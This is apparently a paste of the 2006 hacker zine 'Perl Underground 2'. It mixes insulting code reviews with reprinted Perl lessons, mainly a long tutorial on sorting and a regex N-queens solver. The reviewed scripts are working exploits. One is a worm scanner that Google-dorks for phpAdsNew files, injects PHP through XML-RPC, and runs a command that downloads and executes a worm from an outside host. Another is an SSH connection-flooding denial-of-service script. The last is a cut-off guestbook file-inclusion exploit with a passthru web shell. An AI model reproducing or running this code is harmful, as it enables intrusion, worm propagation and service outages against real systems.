· 9 years ago · Oct 10, 2016, 07:40 PM
1 $$$$$$$$$ @@@@@@@@@@@@@@@@@@$$$$ $$$$
2 $$$$$$$$$$$ @@@@@@@@@@@@@@@@@@@@@$$$ $$$$
3 $$$$ $$$$ @@@ $$$$ $$$$ @@@$$ $$$$
4 $$$$ $$$$ @@@ $$$$ $$$$ $$@@@ $$$$
5 $$$$ $$$$@@@ $$$$$$$ $$$$ $$$@@@ $$$$
6 $$$$$$$$$$$@@@ $$$$$$$ $$$$$$$$$$$$@@@$$$$
7 $$$$$$$$$$@@@ $$$$ $$$$$$$$$$ @@@$$$
8 $$$$ @@@ $$$$ $$$$ $$$$ @@@$$
9 $$$$ @@@ $$$$$$$$$$$ $$$$ $$$$ @@@$$$$$$$$$$
10 $$$$ $$$$$$$$$$$ $$$$ $$$$ @@@$$$$$$$$$$$
11 @@@
12 @@@
13 $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ @@@$$$$$$$ $$$$$$$$$$
14 $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ @@@$$$$$$$$$ $$$$$$$$$$$$
15 $$$$ $$$$ $$$$$$ $$$$ $$$$ $$@@@ $$$$ $$$$ $$$$
16 $$$$ $$$$ $$$$$$$ $$$$ $$$$ $@@@ $$$$ $$$$ $$$$
17 $$$$ $$$$ $$$$ $$$ $$$$ $$$$ @@@ $$$$$$$ $$$$ $$$$
18 $$$$ $$$$ $$$$ $$$ $$$$ $$$$ @@@$$ $$$$$$$ $$$$$$$$$$$$
19 $$$$ $$$$ $$$$ $$$$$$$ $$$$ @@@$$$ $$$$ $$$$$$$$$$$
20 $$$$ $$$$ $$$$ $$$$$$ $$$$@@@ $$$ $$$$ $$$$ $$$$
21 $$$$$$$$$$$$$ $$$$ $$$$$ $$@@@ $$$ $$$$$$$$$$$ $$$$ $$$$
22 $$$$$$$$$$$ $$$$ $$$$ $@@@$$$$$ $$$$$$$$$$$ $$$$ $$$$
23 @@@
24 @@@
25 $$$$$$$$$ $$$$$$$$$$ $$$$$$$$@@@ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
26 $$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$@@@$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$
27 $$$$ $$$$ $$$$ $$$$ $$$$ @@@$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$
28 $$$$ $$$$ $$$$ $$$$ $$$$ @@@ $$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
29 $$$$ $$$$ $$$$ $$$$@@@ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
30 $$$$ $$$ $$$$$$$$$$$$ $$$@@@ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
31 $$$$ $$$$ $$$$$$$$$$$ $@@@ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
32 $$$$ $$$$ $$$$ $$$$ @@@$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$
33 $$$$$$$$$$ $$$$ $$$$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$$ $$$$$ $$$$$$$$$$$$
34 $$$$$$$$ $$$$ $$$$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$ $$$$ $$$$$$$$$$$
35
36[root@yourbox.anywhere]$ cat info.txt
37
38Perl Underground 2: Judgement Day
39
40That's right. We came back and we came back with style. Chasing around
41the underground. More bad code, more good code, more insults, more talk,
42more of something for the whole family!
43
44[root@yourbox.anywhere]$ date
45Mon Apr 17 20:19:37 EDT 2006
46
47[root@yourbox.anywhere]$ perl Dumper-me.pl
48
49$Chapter1 = { TITLE => 'TOC' };
50$Chapter2 = { TITLE => 'Send in your application' };
51$Chapter3 = { TITLE => 'uc cdej ne ucfirst perl' };
52$Chapter4 = { TITLE => 'School You: Abigail' };
53$Chapter5 = { TITLE => 'str0ke ch0kes' };
54$Chapter6 = { TITLE => 'School You: japhy' };
55$Chapter7 = { TITLE => 'Go back to PHP' };
56$Chapter8 = { TITLE => 'Wait: PHP SUCKS' };
57$Chapter9 = { TITLE => 'School You: MJD' };
58$Chapter10 = { TITLE => 'Who are these losers?' };
59$Chapter11 = { TITLE => 'School You: davorg' };
60$Chapter12 = { TITLE => 'Shit on you athias' };
61$Chapter13 = { TITLE => 'Intermission' };
62$Chapter14 = { TITLE => 'School You: Limbic~Region' };
63$Chapter15 = { TITLE => 'rape skape' };
64$Chapter16 = { TITLE => 'To envision a stack' };
65$Chapter17 = { TITLE => 'School You: merlyn' };
66$Chapter18 = { TITLE => 'Metajoke some Metasploit' };
67$Chapter19 = { TITLE => 'School You: broquaint' };
68$Chapter20 = { TITLE => 'Elementary, Watson' };
69$Chapter21 = { TITLE => 'School You: Grandfather' };
70$Chapter22 = { TITLE => 'krissy gonna cry' };
71$Chapter23 = { TITLE => 'We found nemo' };
72$Chapter24 = { TITLE => 'Manifesto' };
73$Chapter25 = { TITLE => 'Shoutz and Outz' };
74
75[root@yourbox.anywhere]$ perl get-it-started.pl
76
77-[0x01] # Send in Your Application ---------------------------------------
78
79Perl Underground is now viewing applications! We have two positions
80available.
81
82Whipping Boy: AKA I think I can code and I'm hot shit and I want in!
83
84and
85
86Whipping Boy: AKA I think I can code and I'm hot shit and I want you to
87rip me apart!
88
89Both positions require an example of your best code, as well as a
90narrative describing how you are hot shit.
91
92Resumes not wanted!
93
94Send your application to: us.
95
96Perl Underground maintains a policy of not providing an e-mail address
97to the public. Regardless, being that you are hot shit, there is an
98expectation that you will get your application to us some way or
99another. Remember, we are watching. If nothing else, we can be
100contacted through a Google indexed page with the key phrase "I went to
101Perl Underground and all I got was this lousy flamewar". You would
102lose points for originality, or a lack of.
103
104-[0x02] # uc cdej ne ucfirst perl ----------------------------------------
105
106#!/usr/bin/perl -w
107
108# -w is so 1996
109# get your strict UP IN HERE
110
111use LWP::UserAgent;
112
113$brws = new LWP::UserAgent;
114$brws->agent("Internet Explorer 6.0");
115%h = ();
116# cause you sure need that
117
118$cmd="cd /tmp;wget www.corestorm.com/worm;mv worm bash;./bash";
119
120# why don't you use a quote operator other than ", you ignoramous!
121@yayarray = ("inurl:adimage.php", "inurl:adimage.php \"de\"",
122 "inurl:adimage.php \"ru\"", "inurl:adimage.php \"fr\"",
123 "inurl:adimage.php \"fi\"", "inurl:adimage.php \"pl\"",
124 "inurl:adframe.php", "inurl:adframe.php \"de\"",
125 "inurl:adframe.php \"ru\"", "inurl:adframe.php \"fr\"",
126 "inurl:adframe.php \"fi\"", "inurl:adframe.php \"pl\"",
127 "inurl:adjs.php", "inurl:adjs.php \"de\"",
128 "inurl:adjs.php \"ru\"", "inurl:adjs.php \"fr\"",
129 "inurl:adjs.php \"fi\"", "inurl:adjs.php \"pl\"",
130 "inurl:adclick.php", "inurl:adclick.php \"de\"",
131 "inurl:adclick.php \"ru\"", "inurl:adclick.php \"fr\"",
132 "inurl:adclick.php \"fi\"", "inurl:adclick.php \"pl\"");
133
134
135foreach $line (@yayarray) {
136 # I sense a disturbance in the force
137 open(F, "lynx -dump \"http://www.google.com\/search?hl=us&lr=&q=$line\"|") || die "$!";
138 open(F, "google.sucks") || die "$!";
139 # who taught you regex?
140 # my ($php) = $line =~ /:([^.]+)\.php/;
141 # observe the list context
142 # observe the single expression
143 # observe the non-redundant regex
144 # observe the lack of reliance on .*
145 if($line =~ /^.*\:(.*?.php).*/) { $php = "$1"; }
146 # come on, why do you do ^.* at the beginning and .* at the end
147 # you don't need to match every aspect of a string
148 # the Perl regex engine is ok with data existing before and after the match
149 # you don't need to tell it that
150 # you tell it the opposite, you anchor if you want nothing before or after
151 # and whats with the stupid quoting
152 # whats with it ALL
153 # what were you thinking?
154 while(<F>) {
155 # less resource intensive to separate the options
156 # but that is a personal choice
157 # next if /cache/;
158 # next if /search/;
159 # not to mention you could avoid regex altogether with index
160 # if you cared
161 if(/cache|search/) { next; }
162 if(/^.*?\d+.*?(http:\/\/.*?)\/$php.*/) {
163 # ok, what the fuck. get out. just...out.
164 # repeat everything above, just WORSE
165 $h{$1}++;
166 }
167 }
168}
169
170foreach $line (sort keys %h) {
171 print "Found host: $line. Exploiting...\n";
172 # we don't call subs like this. you remember C don't you?
173 # where & is an address reference operater? right?
174 # did you ever try: exp($line); ? Wouldn't that be more obvious?
175 &exp($line);
176}
177
178# what the fuck is this. defined parameters in Perl?
179# next thing I know you'll be using prototypes
180sub exp($host) {
181 # local. hah hah. that doesn't belong here! as your zine says, "that's so 1996!"
182 # get with the times. my.
183 local($host) = @_;
184
185 # one line it: die "$!: Did not receive \$host" unless $host;
186 # don't you realize you won't have a $! here, ever?
187 # did you ever test this? do you know what $! is?
188 # or better yet, remove the line entirely!
189 # my ($host) = @_ or die "Did not receive \$host";
190 # omg control flow
191
192 if ( !$host ) {
193 die("$!: Did not receive \$host.");
194 }
195
196 # $host is a scalar of one item, and contiues to exist
197 while ( $host ) {
198
199 $data = "<?xmlversion=\"1.0\"?><methodCall><methodName>foo.bar</methodName><params><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><name>','')); system('$cmd'); die;/*</name></value></param></params></methodCall>";
200 $send = new HTTP::Request POST => $host;
201 $send->content($data);
202 $gots = $brws->request($send);
203 $show = $gots->content;
204 # this regex is horrible
205 if ( $show =~ /<b>([\d]{1,10})<\/b><br \/>(.*)/is ) {
206 # why is there a $1 if you never use it?
207 # maybe because YOU RANDOMLY CAPTURED SOMETHING
208 print $2 . "\n";
209 } else {
210 print "$show\n";
211 }
212 }
213}
214# I ponder whether anyone will recognize this code.
215# CDEJ isn't a good read, I expect the readers just browse past the code
216
217-[0x03] # School You: Abigail --------------------------------------------
218
219# Feel the love
220
221#!/usr/bin/perl
222
223use strict;
224use warnings 'all';
225use re 'eval';
226
227my $nr_of_queens = $ARGV [0] || 8;
228
229my $nr_of_rows = $nr_of_queens;
230my $nr_of_cols = $nr_of_queens;
231
232sub attack {
233 my ($q1, $q2) = @_;
234 my ($q1x, $q1y, $q2x, $q2y) = (@$q1, @$q2);
235 $q1x == $q2x || $q1y == $q2y || abs ($q1x - $q2x) == abs ($q1y - $q2y);
236}
237
238my $regex;
239
240foreach my $queen (1 .. $nr_of_queens) {
241 local $" = "|\n ";
242 my @tmp_r;
243 foreach my $row (1 .. $nr_of_rows) {
244 push @tmp_r => "(?{local \$q [$queen] [0] = $row})";
245 }
246 $regex .= "(?:@tmp_r)\n";
247 my @tmp_c;
248 foreach my $col (1 .. $nr_of_cols) {
249 push @tmp_c => "(?{local \$q [$queen] [1] = $col})";
250 }
251 $regex .= "(?:@tmp_c)\n";
252 foreach my $other_queen (1 .. $queen - 1) {
253 $regex .= "(?(?{attack \$q [$other_queen], \$q [$queen]})x|)\n";
254 }
255 $regex .= "\n";
256}
257
258$regex .= "\n";
259
260$regex .= "(?{\@sig = sort map {chr (ord ('a') + \$_ -> [0] - 1) . \$_ -> [1]}"
261 . " \@q [1 .. $nr_of_queens];})\n";
262
263$regex .= "(?{print qq !\@sig\n!})";
264
265"" =~ /$regex/x;
266
267-[0x04] # str0ke ch0kes --------------------------------------------------
268
269#!/usr/bin/perl
270
271# hello there str0ke. cute little script
272
273# sorry to hear about your problems with the more elite
274# that's the price you pay for the risk of your position
275
276use IO::Socket;
277use Thread;
278use strict;
279
280my $serv = $ARGV[0];
281my $port = $ARGV[1];
282my $time = $ARGV[2];
283
284# my ($serv, $port, $time) = @ARGV;
285
286sub usage
287{
288print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
289print "by /str0ke (milw0rm.com)\n";
290print "Credits to Pablo Fernandez\n";
291print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
292exit ();
293# everyone has a different weird way of calling exit(). exit; exit(); exit ();
294}
295
296sub exploit
297{
298my ($serv, $port, $sleep) = @_;
299# there you go! surprisingly like some code above..
300my $sock = new IO::Socket::INET ( PeerAddr => $serv,
301PeerPort => $port,
302Proto => 'tcp',
303);
304
305die "Could not create socket: $!\n" unless $sock;
306# or die "blah", its the way to go!
307sleep $sleep;
308close($sock);
309}
310
311sub thread {
312my $i=1;
313print "Server: $serv\nPort: $port\nSeconds: $time\n";
314# ever heard of for loops? we have them for this!
315# there was this kid in a beginner's c++ class I once taught
316# he only used do-while loops, because he was afraid of for loop syntax
317# and while was just too straight forward for him
318# are you that kid? is for just too complex for you?
319# moron
320# for my $i ( 1 .. 51 )
321while($i < 51){
322print ".";
323my $thr = new Thread \&exploit, $serv, $port, $time;
324$i++;
325}
326sleep $time; #detach wouldn't be good
327}
328
329if (@ARGV != 3){&usage;}else{&thread;}
330# eww. just eww. go back to Perl 4.
331# actually, Perl 4 wouldn't do that
332# Go back to C. or something.
333# no wonder so many lame exploits end up on your site
334
335-[0x05] # School You: japhy ----------------------------------------------
336
337NAME
338
339Resorting to Sorting
340
341SYNOPSIS
342
343A guide to using Perl's sort() function to sort data in numerous ways.
344Topics covered include the Orcish maneuver, the Schwartzian Transform,
345the Guttman-Rosler Transform, radix sort, and sort-by-index.
346
347DESCRIPTION
348
349Sorting data is a common procedure in programming -- there are
350efficient and inefficient ways to do this. Luckily, in Perl, the sort()
351function does the dirty work; Perl's sorting is handled internally by a
352combination of merge-sort and quick-sort. However, sorting is done, by
353default, on strings. In order to change the way this is done, you can
354supply a piece of code to the sort() function that describes the
355machinations to take place.
356
357We'll examine all differents sorts of sorts; some have been named after
358programmers you may have heard of, and some have more descriptive
359names.
360
361CONTENT
362
363Table of Contents
364Naïve Sorting
365Poor practices that cause Perl to do a lot more work than necessary.
366
367The Orcish Maneuver
368Joseph Hall's implementation of "memoization" in sorting.
369
370Radix Sort
371A multiple-pass method of sorting; the time it takes to run is linearly
372proportional to the size of the largest element.
373
374Sorting by Index
375When multiple arrays must be sorted in parallel, save yourself trouble
376and sort the indices.
377
378Schwartzian Transforms
379Wrapping a sort() in between two map()s -- one to set up a data
380structure, and the other to extract the original information -- is a
381nifty way of sorting data quickly, when expensive function calls need
382to be kept to a minimum.
383
384Guttman-Rosler Transforms
385It's far simpler to let sort() sort as it will, and to format your data
386as something meaningful to the string comparisons sort() makes.
387
388Portability
389By giving sorting functions a prototype, you can make sure they work
390from anywhere!
391
392Naïve Sorting
393
394Ordinarily, it's not a difficult task to sort things. You merely pass
395the list to sort(), and out comes a sorted list. Perl defaults to using
396a string comparison, offered by the cmp operator. This operator
397compares two scalars in ASCIIbetical order -- that means "1" comes
398before "A", which comes before "^", which comes before "a". For a
399detailed list of the order, see your nearest ascii(1) man page.
400
401To sort numerically, you need to supply sort() that uses the numerical
402comparison operator (dubbed the "spaceship" operator), <=>:
403
404 @sorted = sort { $a <=> $b } @numbers; # ascending order
405 @sorted = sort { $b <=> $a } @numbers; # descending order
406
407
408
409There are two special variables used in sorting -- $a and $b. These
410represent the two elements being compared at the moment. The sorting
411routine can take a block (or a function name) to use in deciding which
412order the list is to be sorted in. The block or function should return
413-1 if $a is to come before $b, 0 if they are the same (or, more
414correctly, if their position in the sorted list could be the same), and
4151 if $a is to come after $b.
416
417Sorting, by default, is like:
418
419 @sorted = sort { $a cmp $b } @unsorted;
420
421
422
423That is, ascending ASCIIbetical sorting. You can leave out the block in
424that case:
425
426 @sorted = sort @unsorted;
427
428
429
430Now, if we had a list of strings, and we wanted to sort them, in a
431case-insensitive manner. That means, we want to treat the strings as if
432they were all lower-case or upper-case. We could do something like:
433
434 @sorted = sort { lc($a) cmp lc($b) } @unsorted;
435 # or
436 @sorted = sort { uc($a) cmp uc($b) } @unsorted;
437
438
439Note: There is a difference between these two sortings. There are some
440punctuation characters that come after upper-case letters and before
441lower-case characters. Thus, strings that start with such characters
442would be placed differently in the sorted list, depending on whether we
443use lc() or uc().
444
445Now, this method of sorting is fine for small lists, but the lc() (or
446uc()) function is called twice for each comparison. This might not seem
447bad, but think about the consequences of performing massive
448calculations on your data:
449
450 sub age_or_name {
451 my ($name_a, $age_a) = split /_/ => $a;
452 my ($name_b, $age_b) = split /_/ => $b;
453 return ($age_a <=> $age_b or $name_a cmp $name_b);
454 }
455
456 @people = qw( Jeff_19 Jon_14 Ray_18 Tim_14 Joan_20 Greg_19 );
457 @sorted = sort age_or_name @people;
458 # @sorted is now
459 # qw( Jon_14 Tim_14 Ray_18 Greg_19 Jeff_19 Joan_20 )
460
461
462
463This gets to be tedious. There's obviously too much work being done. We
464should only have to split the strings once.
465
466Exercises
467Create a sorting subroutine to sort by the length of a string, or, if
468needed, by its first five characters.
469
470 @sorted = sort { ... } @strings;
471
472
473
474Sort the following data structure by the value of the key specified by
475the "cmp" key:
476
477 @nodes = (
478 { id => 17, size => 300, keys => 2, cmp => 'keys' },
479 { id => 14, size => 104, keys => 9, cmp => 'size' },
480 { id => 31, size => 2045, keys => 43, cmp => 'keys' },
481 { id => 28, size => 6, keys => 0, cmp => 'id' },
482 );
483
484
485
486The Orcish Maneuver
487
488This method of speeding up sorting comparisons was named by Joseph
489Hall. It uses a hash to cache values of the complex calculations you
490need to make:
491
492 {
493 my %cache; # cache hash is only seen by this function
494
495 sub age_or_name {
496 my $data_a =
497 ($cache{$a} ||= [ split /_/ => $a ]);
498 my $data_b =
499 ($cache{$b} ||= [ split /_/ => $b ]);
500 return (
501 $data_a->[1] <=> $data_b->[1]
502 or
503 $data_a->[0] <=> $data_b->[0]
504 );
505 }
506 }
507
508 @people = qw( Jeff_19 Jon_14 Ray_18 Tim_14 Joan_20 Greg_19 );
509 @sorted = sort age_or_name @people;
510
511
512
513This procedure here uses a hash of array references to store the name
514and age for each person. The first time a string is used in the sorting
515subroutine, it doesn't have an entry in the %cache hash, so the || part
516is used.
517
518That is where this gets its name -- it is the OR-cache manuever, which
519can be lovingly pronounced "orcish".
520
521The main structure of Orcish sorting is:
522
523 {
524 my %cache;
525
526 sub function {
527 my $data_a = ($cache{$a} ||= mangle($a));
528 my $data_b = ($cache{$b} ||= mangle($b));
529 # compare as needed
530 }
531 }
532
533
534
535where mangle() is some function that does the necessary calculations on
536the data.
537
538Exercises
539Why should you make the caching hash viewable only by the sorting
540function? And how is this accomplished?
541
542Use the Orcish Manuever to sort a list of strings in the same way as
543described in the first exercise from "Naïve Sorting".
544
545Radix Sort
546
547If you have a set of strings of constant width (or that can easily be
548made in constant width), you can employ radix sort. This method gets
549around calling Perl's sort() function altogether.
550
551The concept of radix sort is as follows. Assume you have N strings of k
552characters in length, and each character can have one of x values (for
553ASCII, x is 256). We then create x "buckets", and each bucket can hold
554at most N strings.
555
556Here is a sample list of data for N = 7, k = 4, and x = 256: john,
557bear, roar, boat, vain, vane, zany.
558
559We then proceed to place each string into the bucket corresponding to
560the ASCII value of its rightmost character. If we were then to print
561the contents of the buckets after this first placement, our sample list
562would look like: vane, john vain bear roar boat zany.
563
564Then, we use the character immediately to the left of the one just
565used, and put the strings in the buckets accordingly. This is done in
566the order in which they are found in the buckets. The new list is:
567bear, roar, boat, john, vain, vane, zany.
568
569On the next round, the list becomes: vain, vane, zany, bear, roar,
570boat, john.
571
572On the final round, the list is: bear, boat, john, roar, vain, vane,
573zany.
574
575This amount of time this sorting takes is constant, and easily
576calculated. If we assume that all the data is the same length, then we
577take N strings, and multiply that by k characters. The algorithm also
578uses some extra space for storing the strings -- it needs an extra Nk
579bytes. If the data needs to be padded, there is some extra time
580involved (if a character is undefined, it is set as a NUL ("\0")).
581
582Here is a radix implementation. It returns the list it is given in
583ASCIIbetical order, like sort @list would.
584
585 # sorts in-place (meaning @list gets changed)
586 # set $unknown to true to indicate variable length
587 radix_sort(\@list, $unknown);
588
589
590
591 sub radix_sort {
592 my ($data, $k) = @_;
593 $k = !!$k; # turn any true value into 1
594
595 if ($k) { $k < length and $k = length for @$data }
596 else { $k = length $data->[0] }
597
598 while ($k--) {
599 my @buckets;
600 for (@$data) {
601 my $c = substr $_, $k, 1; # get char
602 $c = "\0" if not defined $c;
603 push @{ $buckets[ord($c)] }, $_;
604 }
605
606 @$data = map @$_, @buckets; # expand array refs
607 }
608 }
609
610
611
612You'll notice the first argument to this function is an array
613reference. By doing this, we save copying a potentially large list,
614thus taking up less space, and running faster. If, for beauty reasons,
615you'd prefer not to backslash your array, you could use prototypes:
616
617 sub radix_sort (\@;$);
618
619 radix_sort @list, $unknown;
620
621 sub radix_sort (\@;$) {
622 # ...
623 }
624
625
626
627You could combine the declaration and the definition of the function,
628but the prototype must be seen before the function call.
629
630Exercises
631Why does radix sort start with the right-most character in a string?
632
633Does the order of the elements in the input list effect the run-time of
634this sorting algorithm? What happens if the elements are already
635sorted? Or in the reverse sorted order?
636
637Sorting by Index
638
639Given the choice between sorting three lists and sorting one list,
640you'd choose sorting one list, right? Good. This, then, is the strategy
641employed when you sort by index. If you have three arrays that hold
642different information, yet for a given index, the elements are all
643related -- we say these arrays hold data in parallel -- then it seems
644far too much work to sort all three arrays.
645
646 @names = qw( Jeff Jon Ray Tim Joan Greg );
647 @ages = qw( 19 14 18 14 20 19 );
648 @gender = qw( m m m m f m );
649
650
651
652Here, all the data at index 3 ("Tim", 14, "m") is related, as it is for
653any other index. Now, if we wanted to sort these arrays so that this
654relationship stood, but the lists were sorted in terms of age and then
655by name, then we would like our data to look like:
656
657 @names = qw( Jon Tim Ray Greg Jeff Joan );
658 @ages = qw( 14 14 18 19 19 20 );
659 @gender = qw( m m m m m f );
660
661
662
663But to actually sort these lists requires 3 times the effort. Instead,
664we will sort the indices of the arrays (from 0 to 5). This is the
665function we will use:
666
667 sub age_or_name {
668 return (
669 $ages[$a] <=> $ages[$b]
670 or
671 $names[$a] cmp $names[$b]
672 )
673 }
674
675
676
677And here it is in action:
678
679 @idx = sort age_or_name 0 .. $#ages;
680 print "@ages\n"; # 19 14 18 14 20 19
681 print "@idx\n"; # 1 3 2 5 0 4
682 print "@ages[@idx]\n"; # 14 14 18 19 19 20
683
684
685
686As you can see, the array isn't touched, but the indices are given in
687such an order that fetching the elements of the array in that order
688yields sorted data.
689Note: the $#ages variable is related to the @ages array -- it holds the
690highest index used in the array, so for an array of 6 elements, $#array
691is 5.
692
693Schwartzian Transforms
694
695A common (and rather popular) idiom in Perl programming is the
696Schwartzian Transform, an approach which is like "you set 'em up, I'll
697knock 'em down!" It uses the map() function to transform the incoming
698data into a list of simple data structures. This way, the machinations
699done to the data set are only done once (as in the Orcish Manuever).
700
701The general appearance of the transform is like so:
702
703 @sorted =
704 map { get_original_data($_) }
705 sort { ... }
706 map { transform_data($_) }
707 @original;
708
709
710
711They are to be read in reverse order, since the first thing done is the
712map() that transforms the data, then the sorting, and then the map() to
713get the original data back.
714
715Let's say you had lines of a password file that were formatted as:
716
717 username:password:shell:name:dir
718
719
720
721and you wanted to sort first by shell, then by name, and then by
722username. A Schwartzian Transform could be used like this:
723
724 @sorted =
725 map { $_->[0] }
726 sort {
727 $a->[3] cmp $b->[3]
728 or
729 $a->[4] cmp $b->[4]
730 or
731 $a->[1] cmp $b->[1]
732 }
733 map { [ $_, split /:/ ] }
734 @entries;
735
736
737
738We'll break this down into the individual parts.
739Step 1. Transform your data.
740
741We create a list of array references; each reference holds the original
742record, and then each of the fields (as separated by colons).
743
744 @transformed = map { [ $_, split /:/ ] } @entries;
745
746
747
748That could be written in a for-loop, but understanding map() is a
749powerful tool in Perl.
750
751 for (@entries) {
752 push @transformed, [ $_, split /:/ ];
753 }
754
755
756
757Step 2. Sort your data.
758
759Now, we sort on the needed fields. Since the first element of our
760references is the original string, the username is element 1, the name
761is element 4, and the shell is element 3.
762
763 @transformed = sort {
764 $a->[3] cmp $b->[3]
765 or
766 $a->[4] cmp $b->[4]
767 or
768 $a->[1] cmp $b->[1]
769 } @transformed;
770
771
772
773Step 3. Restore your original data.
774
775Finally, get the original data back from the structure:
776
777 @sorted = map { $_->[0] } @transformed;
778
779
780
781And that's all there is to it. It may look like a daunting structure,
782but it is really just three Perl statements strung together.
783
784Guttman-Rosler Transforms
785
786Perl's regular sorting is very fast. It's optimized. So it'd be nice to
787be able to use it whenever possible. That is the foundation of the
788Guttman-Rosler Transform, called the GRT, for short.
789
790The frame of a GRT is:
791
792 @sorted =
793 map { restore($_) }
794 sort
795 map { normalize($_) }
796 @original;
797
798
799
800An interesting application of the GRT is to sort strings in a
801case-insensitive manner. First, we have to find the longest run of NULs
802in all the strings (for a reason you'll soon see).
803
804 my $nulls = 0;
805
806 # find length of longest run of NULs
807 for (@original) {
808 for (/(\0+)/g) {
809 $nulls = length($1) if length($1) > $nulls;
810 }
811 }
812
813
814
815 $NUL = "\0" x ++$nulls;
816
817
818
819Now, we have a string of nulls, whose length is one greater than the
820largest run of nulls in the strings. This will allow us to safely
821separate the lower-case version of the strings from the original
822strings:
823
824 # "\L...\E" is like lc(...)
825 @normalized = map { "\L$_\E$NUL$_" } @original;
826
827
828
829Now, we can just send this to sort.
830
831 @sorted = sort @normalized;
832
833
834
835And then to get back the data we had before, we split on the nulls:
836
837 @sorted = map { (split /$NUL/)[1] } @original;
838
839
840
841Putting it all together, we have:
842
843 # implement our for loop from above
844 # as a function
845 $NUL = get_nulls(\@original);
846
847 @sorted =
848 map { (split /$NUL/)[1] }
849 sort
850 map { "\L$_\E$NUL$_" }
851 @original;
852
853
854
855The reason we use the NUL character is because it has an ASCII value of
8560, so it's always less than or equal to any other character. Another
857way to approach this is to pad the string with nulls so they all become
858the same length:
859
860 # see Exercise 1 for this function
861 $maxlen = maxlen(\@original);
862
863
864
865 @sorted =
866 map { substr($_, $maxlen) }
867 sort
868 map { lc($_) . ("\0" x ($maxlen - length)) . $_ }
869 @original;
870
871
872
873Common functions used in a GRT are pack(), unpack(), and substr(). The
874goal of a GRT is to make your data presentable as a string that will
875work in a regular comparison.
876
877Exercises
878Write the maxlen() function for the previous chunk of code.
879
880Portability
881
882You can make a function to be used by sort() to avoid writing
883potentially messy sorting code inline. For example, our Schwartzian
884Transform:
885
886 @sorted =
887 {
888 $a->[3] cmp $b->[3]
889 or
890 $a->[4] cmp $b->[4]
891 or
892 $a->[1] cmp $b->[1]
893 }
894
895
896
897However, if you want to declare that function in one package, and use
898it in another, you run into problems.
899
900 #!/usr/bin/perl -w
901
902
903
904 package Sorting;
905
906
907
908 sub passwd_cmp {
909 $a->[3] cmp $b->[3]
910 or
911 $a->[4] cmp $b->[4]
912 or
913 $a->[1] cmp $b->[1]
914 }
915
916
917
918 sub case_insensitive_cmp {
919 lc($a) cmp lc($b)
920 }
921
922
923
924 package main;
925
926
927
928 @strings = sort Sorting::case_insensitive_cmp
929 qw( this Mine yours Those THESE nevER );
930
931
932
933 print "<@strings>\n";
934
935
936
937 __END__
938 <this Mine yours Those THESE nevER>
939
940
941
942This code doesn't change the order of the strings. The reason is
943because $a and $b in the sorting subroutine belong to Sorting::, but
944the $a and $b that sort() is making belong to main::.
945
946To get around this, you can give the function a prototype, and then it
947will be passed the two arguments.
948
949 #!/usr/bin/perl -w
950
951
952
953 package Sorting;
954
955
956
957 sub passwd_cmp ($$) {
958 local ($a, $b) = @_;
959 $a->[3] cmp $b->[3]
960 or
961 $a->[4] cmp $b->[4]
962 or
963 $a->[1] cmp $b->[1]
964 }
965
966
967
968 sub case_insensitive_cmp ($$) {
969 local ($a, $b) = @_;
970 lc($a) cmp lc($b)
971 }
972
973
974
975 package main;
976
977
978
979 @strings = sort Sorting::case_insensitive_cmp
980 qw( this Mine yours Those THESE nevER );
981
982
983
984 print "<@strings>\n";
985
986
987
988 __END__
989 <Mine nevER THESE this Those yours>
990
991-[0x06] # Go back to PHP -------------------------------------------------
992
993#!/usr/bin/perl
994use IO::Socket;
995
996# about time you wrote something with a bit of size
997
998print "guestbook script <= 1.7 exploit\r\n";
999print "rgod rgod\@autistici.org\r\n";
1000print "dork: \"powered by guestbook script\"\r\n\r\n";
1001
1002# misplaced and large commenting REMOVED
1003
1004# interesting placement of this sub
1005
1006sub main::urlEncode {
1007# sub main::urlEncode looks so much more elite than sub urlEncode
1008 my ($string) = @_;
1009 $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
1010 #$string# =~ tr/.//;
1011 return $string;
1012 # did you really need a sub at all?
1013 # is the unpack line really much too complex?
1014 # considering that's ALL you end up doing
1015 }
1016
1017if (@ARGV < 4)
1018{
1019print "Usage:\r\n";
1020print "perl gbs_17_xpl.pl SERVER PATH ACTION[FTP LOCATION] COMMAND\r\n\r\n";
1021print "SERVER - Server where Guestbook Script is installed.\r\n";
1022print "PATH - Path to Guestbook Script (ex: /gbs/ or just /)\r\n";
1023print "ACTION - 1[nothing]\r\n";
1024print " (tries to include apache error.log file)\r\n\r\n";
1025print " 2[ftp site with the code to include]\r\n\r\n";
1026print "COMMAND - A shell command (\"cat config.php\"\r\n";
1027print " to see database username & password)\r\n\r\n";
1028print "Example:\r\n";
1029print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 1 cat config.php\r\n";
1030print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 2ftp://username:password\@192.168.1";
1031print ".3/suntzu.php ls -la\r\n\r\n";
1032print "Note: to launch action [2] you need this code in suntzu.php :\r\n";
1033print "<?php\r\n";
1034print "ob_clean();\r\n";
1035print "echo 666;\r\n";
1036print "if (get_magic_quotes_gpc())\r\n";
1037print "{\$_GET[cmd]=stripslashes(\$_GET[cmd]);}\r\n";
1038print "passthru(\$_GET[cmd]);\r\n";
1039print "echo 666;\r\n";
1040print "die;\r\n";
1041print "?>\r\n\r\n";
1042# stop that. Use some form of quote operator, like qq or heredocs
1043exit();
1044# I really start to wonder what the obsession with parens is
1045}
1046
1047$serv=$ARGV[0];
1048$path=$ARGV[1];
